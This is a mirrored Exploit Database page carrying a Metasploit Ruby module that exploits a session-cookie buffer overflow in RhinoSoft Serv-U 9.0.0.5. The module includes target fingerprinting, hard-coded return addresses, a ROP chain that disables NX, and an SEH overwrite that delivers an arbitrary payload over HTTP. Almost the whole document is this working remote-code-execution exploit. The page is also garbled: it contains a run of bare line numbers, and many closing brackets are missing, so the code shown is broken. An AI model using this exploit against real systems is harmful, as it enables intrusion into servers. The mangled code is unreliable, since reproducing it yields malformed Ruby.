RhinoSoft Serv-U FTP Server – Session Cookie Buffer Overflow (Metasploit)

Exploit Database
118 阅读

作者： Metasploit

日期： 2010-03-10
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16775/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

# $Id: servu_session_cookie.rb 8762 2010-03-10 05:58:01Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'Rhinosoft Serv-U Session Cookie Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in Rhinosoft Serv-U 9.0.0.5.

Sending a specially crafted POST request with an overly long session cookie

string, an attacker may be able to execute arbitrary code.

'Author' =>

[

'Nikolas Rangos <nikolaos[at]rangos.de>',

'M.Yanagishita <megumi1990[at]gmail.com>',

'jduck'

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 8762 $',

'References' =>

[

[ 'CVE', '2009-4006' ], # unsure

[ 'OSVDB', '59772' ],

[ 'URL', 'http://rangos.de/ServU-ADV.txt' ],

[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2009-November/071370.html' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Privileged' => true,

'Payload'=>

{

'Space'=> 512,

'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a",

'StackAdjustment' => -4096,

'Platform' => 'win',

'Targets'=>

[

[ 'Windows 2003 SP2 English (NX)',

{

'FixESP' => 0x0fb02849, # add esp, 0x40c / ret @libeay32

'FixESI' => 0x78a31e96, # pop esi / ret @mfc90u.dll

'FixEBP' => 0x78a4ae99, # push esp / pop ebp / ret 0xc @mfc90u.dll

'Ret' => 0x78a3e987, # ret 0x20 @mfc90u.dll

'DisableNX' => 0x7c83f547, # NX Disable @ntdll.dll

'JmpESP' => 0x78b2c753 # jmp esp @mfc90u.dll

}

[ 'Windows 2000 SP4 and XP SP3 English (SEH)',

{

'Ret' => 0x0fb870bd # pop pop ret @libeay32.dll

}

'DefaultTarget'=> 1,

'DisclosureDate' => 'Nov 1 2009'))

register_options( [ Opt::RPORT(80) ], self.class )

end

def check

connect

sock.put("\r\n\r\n") # works

res = sock.get(-1,3)

disconnect

if (res =~ /Server: Serv-U\/9\.0\.0\.5/)

return Exploit::CheckCode::Vulnerable

elsif (res =~ /Server: Serv-U/)

return Exploit::CheckCode::Detected

end

return Exploit::CheckCode::Safe

end

def exploit

# hit end of stack..

sploit = Rex::Text.rand_text(1000) * 75

if (target.name =~ /NX/)

# new SEH handler (point esp into buffer)

sploit[41000,4] = [target['FixESP']].pack('V')

# stack frame to bypass NX

sploit[52+0,4] = [target['FixESI']].pack('V')

sploit[52+4,4] = [0x10200].pack('V')

sploit[52+8,4] = [target['FixEBP']].pack('V')

sploit[52+12,4] = [target['Ret']].pack('V')

sploit[52+16,4] = [target['JmpESP']].pack('V')

sploit[52+20,4] = [target['DisableNX']].pack('V')

sploit[52+24,2] = "\xeb\x20"

sploit[52+40,payload.encoded.length] = payload.encoded

else

seh = generate_seh_record(target.ret)

sploit[40996,seh.length] = seh

sploit[41004,payload.encoded.length] = payload.encoded

end

req ="POST / HTTP/1.1\r\n"

req << "Host: #{rhost}:#{rport}\r\n"

req << "Cookie: Session=_"

req << sploit.unpack('H*')[0]

req << "\r\n"

req << "\r\n";

connect

print_status("Trying target #{target.name}..." % target['Ret'])

sock.put(req)

select(nil, nil, nil, 1.5)

handler

disconnect

end